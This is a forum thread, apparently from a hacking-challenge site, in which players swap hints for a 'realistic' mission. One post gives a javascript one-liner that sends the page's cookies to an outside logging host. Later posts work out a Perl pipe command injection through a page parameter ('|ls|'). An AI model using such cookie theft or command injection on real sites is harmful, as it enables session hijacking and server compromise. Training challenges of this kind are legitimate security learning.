Please ask questions ONLY in this topic.

[fabulous]

thanks i finished it and it was a lot of fun. i didn't use the user agent though. was it really needed for the mission?

[pitagora]

thanks i finished it and it was a lot of fun. i didn't use the user agent though. was it really needed for the mission?

yes. I don't think there was another way...I am curios though what short cuts did you take to avoid stealing the session in the first place. Drop me a pm please.

[Nines]

Stealing the cookie *isn't* necessary in this mission. I just included it in the article as an extra, since you'd probably do that in a real situation.. I think this mission was changed at some point so that it's no longer necessary. Make sure you aren't logged in before continuing with the mission.

[brokenbylaw]

Ok I dont know what to do i got into the "therightwayradio" acount page i just don't know how to rephrase that what to do lol i used

Code: Select all

javascript:void(document.location="http://www.the-point.110MB.com/stealer/getlog.php?cookie=" +document.cookie);

i looked through the cookies but didn't get anything interesting i tryed everything that you guys gave PLEASE help

[Damascus2k8]

Ok, you're thinking along the right direction, but take another look at the main page (the rightwayradio one) it says its logging stuff, and even gives you a demonstration, take a look at that and notice what it is logging, and what type of file is that log saved to? Maybe there is another way for you to run that code.....

*Hint* Firefox has an addon that can easily let you modify what gets logged here!

[BlowMagnum]

Ok, so i tried searching google for perl piping and i found something like this:

something = |/dir/

So I tried doing something like this :
realistic/11/page.pl?page=; |pages;

I have tried opendir(''dir"); but it doesn't work either.

Am I on the right way?
Maybe the syntax is wrong?
Help!

P.S Sory for my bad English - Im from Latvia but I guess that 90% of people don't even know where that is.

[agentderek]

I was able to find all the login information to the administrative edit page. I tried editing the download page to download the src.tar.gz but when I try this, I get an access is denied error.

Does anyone have a hint to help me get access...

[agentderek]

You are on the right track, but your syntax is wrong. There is a unix command that you can use that will list the files in the directory.

If you solved basic 8 and 9 then try to remember what you did to solve those.

[BlowMagnum]

You are on the right track, but your syntax is wrong. There is a unix command that you can use that will list the files in the directory.

If you solved basic 8 and 9 then try to remember what you did to solve those.

Yes I have solved the basics...

Do I have to combine the unix command with perl pipe?
Something like this - realistic/11/page.pl?page=ls|pages ?
Maybe the "ls" command needs some extra parameters? (-a -d -F e.t.c)

Help!

[agentderek]

You almost have it correct...|ls| is the only command you need...no extra parameters